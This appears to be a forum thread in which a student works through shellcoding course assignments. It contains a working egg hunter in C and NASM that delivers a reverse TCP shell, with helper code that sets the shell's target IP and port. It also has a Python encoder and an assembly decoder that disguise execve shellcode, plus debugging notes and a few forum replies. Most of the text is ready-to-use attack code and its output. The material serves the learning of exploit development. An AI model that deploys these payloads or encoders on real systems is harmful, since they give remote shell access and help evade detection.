    myegg2.c:
    /* =================================================================== */
    #include<stdio.h>
    #include<string.h>

    unsigned char egghunter[] = \
    "\xbf\x72\x80\x04\x08\xb0\x02\xae\x75\xfd\xd0\xe0\x3c\x20\x74\x03\xae\x75\xf2\xff\xe7";

    // Print 'Egg Found!!' on screen
    // You can swap it out with any shellcode you like (as long as you keep the egg mark)
    unsigned char shellcode[] = \
    "\x02\x04\x08\x10" // egg mark
    "\xeb\x16\x59\x31\xc0\x50\xb0\x04\x31\xdb\xb3\x01\x31\xd2\xb2"
    "\x0c\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xe5\xff\xff\xff\x45"
    "\x67\x67\x20\x46\x6f\x75\x6e\x64\x21\x21\x0a";

    main()
    {
    printf("Egg hunter shellcode Length: %d\n", strlen(egghunter));
    int (*ret)() = (int(*)())egghunter;
    ret();
    }
    /* =================================================================== */

    $ gcc -fno-stack-protector -z execstack myegg2.c -o myegg2
    OUTPUT: Egg hunter shellcode Length: 21
    OUTPUT: Egg Found!!

    Note: Wow that was easy; didn't even need GDB, the cat's in the bag!

    ==========================================================================
    ==========================================================================

    We can now use the shellcode from assignment 2 and add our egg hunter:

    /*===================================================================*/
    /*
    Filename: myegg3.c
    Author: JollyFrogs ([email protected])

    License: This work is licensed under a Creative Commons
    Attribution-NonCommercial 4.0 International License.

    Compile:
    gcc -m32 -fno-stack-protector -z execstack myegg3.c -o myegg3

    Shellcode size: 79 Bytes
    */

    #include <stdio.h>
    #include <string.h>
    #include <ctype.h>
    #include <stdbool.h>

    unsigned char egghunter[] = \
    "\xbf\x72\x80\x04\x08\xb0\x02\xae\x75\xfd\xd0\xe0\x3c\x20\x74\x03"
    "\xae\x75\xf2\xff\xe7";

    unsigned char shellcode[] = \
    "\x02\x04\x08\x10" // Egg signature
    "\x31\xc0\x50\x40\x50\x5b\x50\x40\x50\xb0\x66\x89\xe1\xcd\x80\x97"
    "\xb8\x7f\x01\x01\x01\x50\x66\xb8\x15\xb3\x43\x66\x50\x66\x53\x43"
    "\x89\xe1\x31\xc0\xb0\x10\x50\x51\x57\xb0\x66\x89\xe1\xcd\x80\x87"
    "\xcb\x87\xdf\x49\xb0\x3f\xcd\x80\x75\xf9\x50\x50\x59\x5a\x50\xb0"
    "\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x87\xe3\xcd\x80";

    static bool shellcode_zerocheck() {
    // initialize counter
    int i = 0;
    // check each byte in shellcode array for hexidecimal zero value, return false if zero found
    for(i = 0; i < sizeof(shellcode)-1; i++) {
    if (shellcode == '\x00') {
    printf("Zero found in shellcode at position %i\n",i);
    return false;
    }
    }
    // Return true if no zeroes found
    return true;
    }

    static bool egghunter_zerocheck() {
    // initialize counter
    int i = 0;
    // check each byte in egghunter array for hexidecimal zero value, return false if zero found
    for(i = 0; i < sizeof(egghunter)-1; i++) {
    if (egghunter == '\x00') {
    printf("Zero found in egghunter at position %i\n",i);
    return false;
    }
    }
    // Return true if no zeroes found
    return true;
    }

    static bool shellcode_settargetport(char *buf, int port) {
    // Check if decimal port is valid
    if (port<1024 || port>65535) return false;
    // The offset of the port is 21, but reduce by 1 since the array counts from 0
    int port_offset = 24; // (\x15\xb3)
    // convert decimal port to hexidecimal
    *(short *)(buf+port_offset) = port; // (\x15\xb3) - shellcode array counts from 0
    // Swap port bytes to accomodate for Little Endian memory structure
    char tmp = buf[port_offset];
    buf[port_offset] = buf[port_offset+1];
    buf[port_offset+1] = tmp;
    // Check if the hexidecimal port contains zeroes, if it does then show an error
    if (shellcode[port_offset] == '\x00' || shellcode[port_offset+1] == '\x00') {
    printf("port HEX contains zeroes\n"); return false;
    }
    // Return true if all checks passed
    return true;
    }

    static bool shellcode_settargetip(char *buf, char *ip) {
    int ip_offset = 17; // (\x7f\x01\x01\x01\)
    unsigned char value[4] = {0};
    size_t index = 0;
    while (*ip) {
    if (isdigit((unsigned char)*ip)) {
    value[index] *= 10;
    value[index] += *ip - '0';
    } else {
    index++;
    }
    ip++;
    }
    // check each byte in shellcode array for hexidecimal zero value, return false if zero found
    int i = 0; for(i = 0; i < 4; i++) {
    *(char *)(buf+ip_offset+i) = value;
    if (shellcode[ip_offset+i] == '\x00'){printf("port HEX contains zeroes\n"); return false;}
    }
    // Return true if all checks passed
    return true;
    }

    main () {
    // Port in decimal - should be higher than 1024 and lower than 65536
    int targetport = 1234;
    char *targetip = "127.1.1.1";
    // Basic error checking
    if (!shellcode_settargetport(shellcode, targetport)) {printf("ERROR: Invalid targetport\n");return 0;}
    if (!shellcode_settargetip(shellcode, targetip)) {printf("ERROR: Invalid targetip\n");return 0;}
    if (!shellcode_zerocheck()) {printf("ERROR: Shellcode contains zeroes\n");return 0;}
    if (!egghunter_zerocheck()) {printf("ERROR: Egghunter contains zeroes\n");return 0;}
    // Print shellcode length.
    printf("Shellcode Length: %d\n", strlen(shellcode));
    // Run assembly commands
    __asm__ (
    // Initialize registers
    "movl $0x12345678, %eax\n\t"
    "movl $0x12345678, %ebx\n\t"
    "movl $0x12345678, %ecx\n\t"
    "movl $0x12345678, %edx\n\t"
    "movl $0x12345678, %edi\n\t"
    "movl $0x12345678, %esi\n\t"
    "movl $0x12345678, %ebp\n\t"
    // execute egghunter
    "jmp egghunter");
    }
    /*===================================================================*/

    $ gdb myegg3 -ex 'break *0x0804879f' -ex 'run' -ex 'display/32b $esp
    OUTPUT: Shellcode Length: 83
    OUTPUT: Segmentation fault (core dumped)

    Note: Upon running my code, I receive a segmentation fault. It seems this cat managed to slip out of the bag somehow. Upon debugging, I found that the cause of the segfault is due to my egghunter was searching in areas of memory that it had no access to. I thus had to come up with a new egghunter that would ensure that the memory space is checked for read access before trying to read it. I did some research and found the following document: http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf

    I will use the following egghunter, given in the pdf, as a basis for my egghunter:
    xor edx,edx
    or dx,0xfff
    inc edx
    lea ebx,[edx+0x4]
    push byte +0x21
    pop eax
    int 0x80
    cmp al,0xf2
    jz 0x2
    mov eax,0x50905090
    mov edi,edx
    scasd
    jnz 0x7
    scasd
    jnz 0x7
    jmp edi


    ;=============================================================================
    ; egghunter2.nasm
    ; egg: \x02\x04\x08\x10

    global _start

    section .text
    _start:
    mov cl, byte 0x02 ; set CL to 02
    xor edx,edx ; EDI = 00000000
    next_page:
    or dx,0xfff ; change EDI last 3 bytes to FFF
    next_byte_in_page:
    inc edx ; add EDI by 1 (together = 1000)
    lea ebx,[edx+0x4] ; validate 8 bytes of contiguous memory
    push byte +0x21 ; PUSH 21
    pop eax ; EAX = 00000021 = SYSCALL.ACCESS(2)
    int 0x80 ; SYSCALL.ACCESS(2)
    cmp al,0xf2
    jz next_page ; if no access to memory then increase page
    mov edi,edx ; set EDI to the accessible memory location
    mov al, cl ; AL = 02
    scasb ; compare byte at EDI with AL and increase EDI
    jne next_byte_in_page
    egg_possibly_found:
    shl al, 0x1 ; eax = 02 -> 04 -> 08 -> 10
    cmp al, 0x20 ; eax will only ever be 20 if \x02\x04\x08\x10 is found
    je egg_found
    scasb ; compare byte at EDI with AL and increase EDI
    je egg_possibly_found ; if this isn't the egg, then restart search
    jmp next_byte_in_page ; egg not found, start new search
    egg_found:
    jmp edi ; jump to shellcode
    ;=============================================================================

    $ ./compile.sh egghunter2
    $ objdump -d ./egghunter2|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -dicon_neutral.gifcut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
    OUTPUT:
    "\xb1\x02\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58"
    "\xcd\x80\x3c\xf2\x74\xee\x89\xd7\x88\xc8\xae\x75\xec\xd0\xe0\x3c"
    "\x20\x74\x05\xae\x74\xf7\xeb\xe1\xff\xe7"

    myegg4.c:
    /* =================================================================== */
    #include<stdio.h>
    #include<string.h>

    unsigned char egghunter[] = \
    "\xb1\x02\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58"
    "\xcd\x80\x3c\xf2\x74\xee\x89\xd7\x88\xc8\xae\x75\xec\xd0\xe0\x3c"
    "\x20\x74\x05\xae\x74\xf7\xeb\xe1\xff\xe7";

    // Print 'Egg Found!!' on screen
    // You can swap it out with any shellcode you like (as long as you keep the egg mark)
    unsigned char shellcode[] = \
    "\x02\x04\x08\x10" // egg mark
    "\xeb\x16\x59\x31\xc0\x50\xb0\x04\x31\xdb\xb3\x01\x31\xd2\xb2"
    "\x0c\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xe5\xff\xff\xff\x45"
    "\x67\x67\x20\x46\x6f\x75\x6e\x64\x21\x21\x0a";

    main()
    {
    printf("Egg hunter shellcode Length: %d\n", strlen(egghunter));
    int (*ret)() = (int(*)())egghunter;
    ret();
    }
    /* =================================================================== */

    $ gcc -fno-stack-protector -z execstack myegg4.c -o myegg4
    OUTPUT: Egg hunter shellcode Length: 42
    OUTPUT: Egg Found!!

    NOTE: Yey! Cat back in the bag! Our egghunter shellcode doubled in size, but it is much more reliable.
    If it works, we can look at optimizing this code later. Let's give it a try.

    /*===================================================================*/
    /*
    Filename: myegg5.c
    Author: JollyFrogs ([email protected])

    License: This work is licensed under a Creative Commons
    Attribution-NonCommercial 4.0 International License.

    Compile:
    gcc -m32 -fno-stack-protector -z execstack myegg5.c -o myegg5

    Shellcode size: 79 Bytes
    */

    #include <stdio.h>
    #include <string.h>
    #include <ctype.h>
    #include <stdbool.h>

    unsigned char egghunter[] = \
    "\xb1\x02\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58"
    "\xcd\x80\x3c\xf2\x74\xee\x89\xd7\x88\xc8\xae\x75\xec\xd0\xe0\x3c"
    "\x20\x74\x05\xae\x74\xf7\xeb\xe1\xff\xe7";

    unsigned char shellcode[] = \
    "\x02\x04\x08\x10" // Egg signature
    "\x90\x90\x90\x90" // nop chain
    "\x31\xc0\x50\x40\x50\x5b\x50\x40\x50\xb0\x66\x89\xe1\xcd\x80\x97"
    "\xb8\x7f\x01\x01\x01\x50\x66\xb8\x15\xb3\x43\x66\x50\x66\x53\x43"
    "\x89\xe1\x31\xc0\xb0\x10\x50\x51\x57\xb0\x66\x89\xe1\xcd\x80\x87"
    "\xcb\x87\xdf\x49\xb0\x3f\xcd\x80\x75\xf9\x50\x50\x59\x5a\x50\xb0"
    "\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x87\xe3\xcd\x80";

    static bool shellcode_zerocheck() {
    // initialize counter
    int i = 0;
    // check each byte in shellcode array for hexidecimal zero value, return false if zero found
    for(i = 0; i < sizeof(shellcode)-1; i++) {
    if (shellcode == '\x00') {
    printf("Zero found in shellcode at position %i\n",i);
    return false;
    }
    }
    // Return true if no zeroes found
    return true;
    }

    static bool egghunter_zerocheck() {
    // initialize counter
    int i = 0;
    // check each byte in egghunter array for hexidecimal zero value, return false if zero found
    for(i = 0; i < sizeof(egghunter)-1; i++) {
    if (egghunter == '\x00') {
    printf("Zero found in egghunter at position %i\n",i);
    return false;
    }
    }
    // Return true if no zeroes found
    return true;
    }

    static bool shellcode_settargetport(char *buf, int port) {
    // Check if decimal port is valid
    if (port<1024 || port>65535) return false;
    // The offset of the port is 21, but reduce by 1 since the array counts from 0
    int port_offset = 24; // (\x15\xb3)
    // convert decimal port to hexidecimal
    *(short *)(buf+port_offset) = port; // (\x15\xb3) - shellcode array counts from 0
    // Swap port bytes to accomodate for Little Endian memory structure
    char tmp = buf[port_offset];
    buf[port_offset] = buf[port_offset+1];
    buf[port_offset+1] = tmp;
    // Check if the hexidecimal port contains zeroes, if it does then show an error
    if (shellcode[port_offset] == '\x00' || shellcode[port_offset+1] == '\x00') {
    printf("port HEX contains zeroes\n"); return false;
    }
    // Return true if all checks passed
    return true;
    }

    static bool shellcode_settargetip(char *buf, char *ip) {
    int ip_offset = 17; // (\x7f\x01\x01\x01\)
    unsigned char value[4] = {0};
    size_t index = 0;
    while (*ip) {
    if (isdigit((unsigned char)*ip)) {
    value[index] *= 10;
    value[index] += *ip - '0';
    } else {
    index++;
    }
    ip++;
    }
    // check each byte in shellcode array for hexidecimal zero value, return false if zero found
    int i = 0; for(i = 0; i < 4; i++) {
    *(char *)(buf+ip_offset+i) = value;
    if (shellcode[ip_offset+i] == '\x00'){printf("port HEX contains zeroes\n"); return false;}
    }
    // Return true if all checks passed
    return true;
    }

    main () {
    // Port in decimal - should be higher than 1024 and lower than 65536
    int targetport = 1234;
    char *targetip = "127.1.1.1";
    // Basic error checking
    if (!shellcode_settargetport(shellcode, targetport)) {printf("ERROR: Invalid targetport\n");return 0;}
    if (!shellcode_settargetip(shellcode, targetip)) {printf("ERROR: Invalid targetip\n");return 0;}
    if (!shellcode_zerocheck()) {printf("ERROR: Shellcode contains zeroes\n");return 0;}
    if (!egghunter_zerocheck()) {printf("ERROR: Egghunter contains zeroes\n");return 0;}
    // Print shellcode length.
    printf("Shellcode Length: %d\n", strlen(shellcode));
    printf("Egghunter Length: %d\n", strlen(egghunter));
    // Run assembly commands
    __asm__ (
    // Initialize registers
    "movl $0x12345678, %eax\n\t"
    "movl $0x12345678, %ebx\n\t"
    "movl $0x12345678, %ecx\n\t"
    "movl $0x12345678, %edx\n\t"
    "movl $0x12345678, %edi\n\t"
    "movl $0x12345678, %esi\n\t"
    "movl $0x12345678, %ebp\n\t"
    // execute egghunter
    "jmp egghunter");
    }
    /*===================================================================*/

    $ gdb myegg5 -ex 'break *0x0804879f' -ex 'run' -ex 'display/32b $esp'
    Note: Hm.. another segfault... not looking good let's see what's going on

    The EAX register contains FFFFFFEA after the execution.
    A quick lookup in errno.h - C Error Codes in Linux
    reveals that the error code is -22 (use calc.exe byte EA then decimal)
    Code -22 means EINVAL. In "man 2 access" we find the following:
    EINVAL - mode was incorrectly specified

    Upon running the file in gdb and check the arguments to ACCESS, we find ECX, the register that holds the "mode" argument, isn't set properly.
    "man 2 access" reveals valid values for "mode" parameter: R_OK, W_OK, and X_OK. F_OK

    Since we're checking for read access to the memory, we need to set R_OK. So what does R_OK map to?
    $ cat /usr/include/unistd.h | grep R_OK
    OUTPUT: #define R_OK 4 /* Test for read permission. */
    So ECX should be set to 4 if we want to check R_OK, or 0 if we want to check F_OK. We modify the assembly language and recompile.

    ;=============================================================================
    ; egghunter3.nasm
    ; egg: \x01\x02\x04\x08\x10\x20

    global _start

    section .text
    _start:
    xor ecx,ecx ; ECX = 00000000 (F_OK)
    mul ecx ; EAX = 00000000, EDX = 00000000
    next_page:
    or dx,0xfff ; change EDI last 3 bytes to FFF
    next_byte_in_page:
    inc edx ; add EDI by 1 (together = 1000)
    lea ebx,[edx] ; validate memory
    push byte +0x21 ; PUSH 21
    pop eax ; EAX = 00000021 = SYSCALL.ACCESS(2)
    int 0x80 ; SYSCALL.ACCESS(2)
    cmp al,0xf2 ; F2 = EFAULT = No access to memory
    je next_page ; if no access to memory then increase page
    mov edi,edx ; set EDI to the accessible memory location
    salc ; Shortcut to set AL = 00
    inc eax ; AL = 01
    scasb ; compare byte at EDI with AL and increase EDI
    jne next_byte_in_page
    egg_possibly_found:
    shl al,0x1 ; eax = 02 -> 04 -> 08 -> 10 -> 20 -> 40
    cmp al,0x40 ; eax will only ever be 40 if \x01\x02\x04\x08\x10\x20 is found
    je egg_found
    scasb ; compare byte at EDI with AL and increase EDI
    je egg_possibly_found ; check next byte in egg
    jmp next_byte_in_page ; egg not found, start new search
    egg_found:
    jmp edi ; jump to shellcode
    ;=============================================================================

    This seems to work, however I still seem to get a segfault - more gdb is required.

    $ gdb myegg5 -ex 'break *0x0804a067' -ex 'run'
    => 0x804a067 <egghunter+39>: jmp edi
    gdb$ disassemble 0x0804a084
    **** of assembler code for function shellcode:
    0x0804a080 <+0>: add DWORD PTR [edx],eax
    0x0804a082 <+2>: add al,0x8
    0x0804a084 <+4>: xor eax,eax
    0x0804a086 <+6>: push eax
    0x0804a087 <+7>: inc eax
    0x0804a088 <+8>: push eax
    0x0804a089 <+9>: pop ebx
    0x0804a08a <+10>: push eax
    0x0804a08b <+11>: inc eax
    0x0804a08c <+12>: push eax
    0x0804a08d <+13>: mov al,0x66
    0x0804a08f <+15>: mov ecx,esp
    0x0804a091 <+17>: jg 0x804a094 <shellcode+20>
    0x0804a093 <+19>: add DWORD PTR [ecx],eax
    0x0804a095 <+21>: jg 0x804a098 <shellcode+24>
    0x0804a097 <+23>: add DWORD PTR [edx+edx*8],eax
    0x0804a09a <+26>: mov ax,0xb315

    What happened to our shellcode? Did the egg signature change the shellcode?

    first we check the actual shellcode is still valid:
    echo -n $'\x31\xc0\x50\x40\x50\x5b\x50\x40\x50\xb0\x66\x89\xe1\xcd\x80\x97\xb8\x7f\x01\x01\x01\x50\x66\xb8\x15\xb3\x43\x66\x50\x66\x53\x43\x89\xe1\x31\xc0\xb0\x10\x50\x51\x57\xb0\x66\x89\xe1\xcd\x80\x87\xcb\x87\xdf\x49\xb0\x3f\xcd\x80\x75\xf9\x50\x50\x59\x5a\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x87\xe3\xcd\x80' | ndisasm -u -

    The shellcode seems fine. So I check the shell with the egg prepended (the anticipation!..)
    echo -n $'\x01\x02\x04\x08\x10\x20\x31\xc0\x50\x40\x50\x5b\x50\x40\x50\xb0\x66\x89\xe1\xcd\x80\x97\xb8\x7f\x01\x01\x01\x50\x66\xb8\x15\xb3\x43\x66\x50\x66\x53\x43\x89\xe1\x31\xc0\xb0\x10\x50\x51\x57\xb0\x66\x89\xe1\xcd\x80\x87\xcb\x87\xdf\x49\xb0\x3f\xcd\x80\x75\xf9\x50\x50\x59\x5a\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x87\xe3\xcd\x80' | ndisasm -u -

    The egg does not seem to affect our shellcode. Something else must be changing the shellcode during runtime.
    In a lightbulb moment, I realize that we're dynamically changing the IP and port in the code, but we haven't changed our shellcode offsets. the program things our shellcode is longer (6 bytes longer)

    So if we add 6 to the offsets of the port and IP, all should be good!
    And finally, after making the changes, we have a working egg hunter shellcode. GDB once again came to the rescue and gave me the answers I needed.

    The resulting code:

    /*===================================================================*/
    /*
    Filename: myegg5.c
    Author: JollyFrogs ([email protected])

    License: This work is licensed under a Creative Commons
    Attribution-NonCommercial 4.0 International License.

    Compile:
    gcc -m32 -fno-stack-protector -z execstack myegg5.c -o myegg5

    Shellcode size: 85 Bytes
    Egghunter size: 41 Bytes
    */

    #include <stdio.h>
    #include <string.h>
    #include <ctype.h>
    #include <stdbool.h>

    unsigned char egghunter[] = \
    "\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x8d\x1a\x6a\x21\x58\xcd"
    "\x80\x3c\xf2\x74\xef\x89\xd7\xd6\x40\xae\x75\xed\xd0\xe0\x3c\x40"
    "\x74\x05\xae\x74\xf7\xeb\xe2\xff\xe7";

    unsigned char shellcode[] = \
    "\x01\x02\x04\x08\x10\x20" // Egg signature
    "\x31\xc0\x50\x40\x50\x5b\x50\x40\x50\xb0\x66\x89\xe1\xcd\x80\x97"
    "\xb8\x7f\x01\x01\x01\x50\x66\xb8\x15\xb3\x43\x66\x50\x66\x53\x43"
    "\x89\xe1\x31\xc0\xb0\x10\x50\x51\x57\xb0\x66\x89\xe1\xcd\x80\x87"
    "\xcb\x87\xdf\x49\xb0\x3f\xcd\x80\x75\xf9\x50\x50\x59\x5a\x50\xb0"
    "\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x87\xe3\xcd\x80";

    static bool shellcode_zerocheck() {
    // initialize counter
    int i = 0;
    // check each byte in shellcode array for hexidecimal zero value, return false if zero found
    for(i = 0; i < sizeof(shellcode)-1; i++) {
    if (shellcode == '\x00') {
    printf("Zero found in shellcode at position %i\n",i);
    return false;
    }
    }
    // Return true if no zeroes found
    return true;
    }

    static bool egghunter_zerocheck() {
    // initialize counter
    int i = 0;
    // check each byte in egghunter array for hexidecimal zero value, return false if zero found
    for(i = 0; i < sizeof(egghunter)-1; i++) {
    if (egghunter == '\x00') {
    printf("Zero found in egghunter at position %i\n",i);
    return false;
    }
    }
    // Return true if no zeroes found
    return true;
    }

    static bool shellcode_settargetport(char *buf, int port) {
    // Check if decimal port is valid
    if (port<1024 || port>65535) return false;
    // The offset of the port is 21, but reduce by 1 since the array counts from 0
    int port_offset = 30; // (\x15\xb3) (24+6 to compensate for egg)
    // convert decimal port to hexidecimal
    *(short *)(buf+port_offset) = port; // (\x15\xb3) - shellcode array counts from 0
    // Swap port bytes to accomodate for Little Endian memory structure
    char tmp = buf[port_offset];
    buf[port_offset] = buf[port_offset+1];
    buf[port_offset+1] = tmp;
    // Check if the hexidecimal port contains zeroes, if it does then show an error
    if (shellcode[port_offset] == '\x00' || shellcode[port_offset+1] == '\x00') {
    printf("port HEX contains zeroes\n"); return false;
    }
    // Return true if all checks passed
    return true;
    }

    static bool shellcode_settargetip(char *buf, char *ip) {
    int ip_offset = 23; // (\x7f\x01\x01\x01\) (17+6 to compensate for egg)
    unsigned char value[4] = {0};
    size_t index = 0;
    while (*ip) {
    if (isdigit((unsigned char)*ip)) {
    value[index] *= 10;
    value[index] += *ip - '0';
    } else {
    index++;
    }
    ip++;
    }
    // check each byte in shellcode array for hexidecimal zero value, return false if zero found
    int i = 0; for(i = 0; i < 4; i++) {
    *(char *)(buf+ip_offset+i) = value;
    if (shellcode[ip_offset+i] == '\x00'){printf("port HEX contains zeroes\n"); return false;}
    }
    // Return true if all checks passed
    return true;
    }

    main () {
    // Port in decimal - should be higher than 1024 and lower than 65536
    int targetport = 1234;
    char *targetip = "127.1.1.1";
    // Basic error checking
    if (!shellcode_settargetport(shellcode, targetport)) {printf("ERROR: Invalid targetport\n");return 0;}
    if (!shellcode_settargetip(shellcode, targetip)) {printf("ERROR: Invalid targetip\n");return 0;}
    if (!shellcode_zerocheck()) {printf("ERROR: Shellcode contains zeroes\n");return 0;}
    if (!egghunter_zerocheck()) {printf("ERROR: Egghunter contains zeroes\n");return 0;}
    // Print shellcode length.
    printf("Shellcode Length: %d\n", strlen(shellcode));
    printf("Egghunter Length: %d\n", strlen(egghunter));
    // Run assembly commands
    __asm__ (
    // Initialize registers
    "movl $0x12345678, %eax\n\t"
    "movl $0x12345678, %ebx\n\t"
    "movl $0x12345678, %ecx\n\t"
    "movl $0x12345678, %edx\n\t"
    "movl $0x12345678, %edi\n\t"
    "movl $0x12345678, %esi\n\t"
    "movl $0x12345678, %ebp\n\t"
    // execute egghunter
    "jmp egghunter");
    }
    /*===================================================================*/
  • unkn0wnsh3llunkn0wnsh3ll Member Posts: 68 ■■□□□□□□□□
    Hey Jollyfrogs
    Great to see you back on OSCx track icon_wink.gif
    It is always great to see your detailed Thread/Tale and your progress...
    By the way, I'm still working on OSCP after taking a 3 months break since last Dec-2015.


    Good luck

    Cheers
  • JollyFrogsJollyFrogs Member Posts: 97 ■■□□□□□□□□
    Hey Jollyfrogs
    Great to see you back on OSCx track icon_wink.gif
    It is always great to see your detailed Thread/Tale and your progress...
    By the way, I'm still working on OSCP after taking a 3 months break since last Dec-2015.


    Good luck

    Cheers

    Hi UnknownShell, good to see you're still making progress toward OSCP. Good luck on the exam!
  • JollyFrogsJollyFrogs Member Posts: 97 ■■□□□□□□□□
    Assignment #4:
    - Create a custom encoding scheme like the "Insertion Encoder" demonstrated in the course
    - Proof of concept using execve-stack as the shellcode to encode with your scheme and execute
    =====================================================================

    First we get the shellcode of the execve-stack:
    $ objdump -d ./execve-stack|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -dicon_neutral.gifcut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

    "\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

    # ========================================================
    #!/usr/bin/env python
    #
    # we import sys for the len() function
    import sys

    # execve('/bin/ls') - shellcode size is 25 bytes
    shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f"
    "\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89"
    "\xe1\xb0\x0b\xcd\x80")

    # Ninja code: bswap("12345678") -> \x78\x56\x34\x12
    def bswap_to_py(eax): return "" if not eax else bswap_to_py(eax[2:]) + '\\x' + eax[:2]
    def bswap_to_asm(eax): return "" if not eax else bswap_to_asm(eax[2:]) + '0x' + eax[:2] + ','

    # pad shellcode with a NOP which will be used by our decoder
    shellcode += "\x90"
    # pad additional NOPS until shellcode is divisible by 4
    while (len(shellcode) % 4 != 0): shellcode += "\x90"

    # initialize variables
    py_shellcode = ""; asm_shellcode = ""; counter = 0; EAX = "";

    # encode the shellcode with a bswap of every 4 bytes
    for x in bytearray(shellcode): # iterate over each byte in shellcode
    counter += 1 # we use the counter to load 4 bytes at a time
    EAX += '%02x' %x # store hex value of byte in EAX string
    if (counter % 4 == 0): # we have read 4 bytes
    py_shellcode += bswap_to_py(EAX) # append bswapped value to encoded_shellcode
    asm_shellcode += bswap_to_asm(EAX) # append bswapped value to encoded_shellcode
    EAX = ""; counter = 0; # reset EAX and counter to process next 4 bytes
    print py_shellcode
    print asm_shellcode[:-1] # remove the trailing comma
    # ========================================================

    $ python encoder.py
    \x68\x50\xc0\x31\x73\x6c\x2f\x2f\x69\x62\x2f\x68\x50\xe3\x89\x6e\x89\x53\xe2\x89\xcd\x0b\xb0\xe1\x90\x90\x90\x80
    0x68,0x50,0xc0,0x31,0x73,0x6c,0x2f,0x2f,0x69,0x62,0x2f,0x68,0x50,0xe3,0x89,0x6e,0x89,0x53,0xe2,0x89,0xcd,0x0b,0xb0,0xe1,0x90,0x90,0x90,0x80


    Our encoder works and we now have our encoded shell. Now on to the assembly!

    ; ==================================================================
    ; filename decoder1.nasm
    ;
    global _start
    section .text
    _start:
    jmp short CALL ; JMP - CALL - POP technique to retrieve location of encoded shell
    POP:
    pop esi ; ESI = Location of shellcode
    mov cl, codelen ; ECX = length of shellcode (28 in our case)
    DECODESHELL:
    sub ecx, 4 ; process next part of shellcode
    mov eax, [esi+ecx] ; store the value in ESI+EDI in EAX
    bswap eax ; The bswap magic
    push eax ; store the last part of shellcode on the stack and go up from there
    test ecx, ecx ; If ECX is zero then we've reached the end of our shellcode
    jne DECODESHELL ; keep decoding until AL is 90
    jmp esp ; jump to stack = our shell
    CALL:
    call POP
    shellcode: db 0x68,0x50,0xc0,0x31,0x73,0x6c,0x2f,0x2f,0x69,0x62,0x2f,0x68,0x50,0xe3,0x89,0x6e,0x89,0x53,0xe2,0x89,0xcd,0x0b,0xb0,0xe1,0x90,0x90,0x90,0x80
    codelen equ $-shellcode
    ; Note: Decoder could be improved by encoding in a PUSH-friendly manner
    ; ==================================================================

    Note: our original shell was:
    "\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

    And on the stack after decoding we now have:
    gdb$ x/32b $esp
    0xbffff3b4: 0x31 0xc0 0x50 0x68 0x2f 0x2f 0x6c 0x73
    0xbffff3bc: 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x50
    0xbffff3c4: 0x89 0xe2 0x53 0x89 0xe1 0xb0 0x0b 0xcd
    0xbffff3cc: 0x80 0x90 0x90 0x90 0x01 0x00 0x00 0x00

    Upon executing the decoder, we see the execve('/bin/ls') execute from the stack - Good stuff!

    So now, we can improve our encoder and decoder by encoding in a stack-friendly manner.
    The idea is that we'll PUSH the DWORDS on the stack in reverse order (since stack is reverse)
    This way, we can use the stack functionality to save a few decoder bytes.

    Doing this is easy in Python. First we take our shellcode and split it in chunks of 4 bytes:
    splittedshellcode = [shellcode[i:i+4] for i in range(0, len(shellcode), 4)]

    Then we reverse the array obtained:
    reversedshellcode = splittedshellcode[::-1]

    Then we concatenate (join) the words without additional characters in between to form a new string.
    joinedshellcode = "".join(reversedshellcode)

    The above commands can be performed in a single command as follows:
    shellcode_reversed = "".join([shellcode[i:i+4] for i in range(0, len(shellcode), 4)][::-1])

    Our new encoder (encoder2.py):
    # ========================================================
    #!/usr/bin/env python
    #
    # we import sys for the len() function
    import sys

    # execve('/bin/ls') - shellcode size is 25 bytes
    shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f"
    "\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89"
    "\xe1\xb0\x0b\xcd\x80")

    # Ninja code: bswap("12345678") -> \x78\x56\x34\x12
    def bswap_to_py(eax): return "" if not eax else bswap_to_py(eax[2:]) + '\\x' + eax[:2]
    def bswap_to_asm(eax): return "" if not eax else bswap_to_asm(eax[2:]) + '0x' + eax[:2] + ','

    # pad shellcode with a NOP which will be used by our decoder
    shellcode += "\x90"
    # pad additional NOPS until shellcode is divisible by 4
    while (len(shellcode) % 4 != 0): shellcode += "\x90"

    # Split shellcode into chunks of 4 bytes, reverse them, and join them into a new string
    shellcode_reversed = "".join([shellcode[i:i+4] for i in range(0, len(shellcode), 4)][::-1])

    # initialize variables used by our encoder sequence
    py_shellcode = ""; asm_shellcode = ""; counter = 0; EAX = "";

    # encode the shellcode with a bswap of every 4 bytes
    for x in bytearray(shellcode_reversed): # iterate over each byte in shellcode
    counter += 1 # we use the counter to load 4 bytes at a time
    EAX += '%02x' %x # store hex value of byte in EAX string
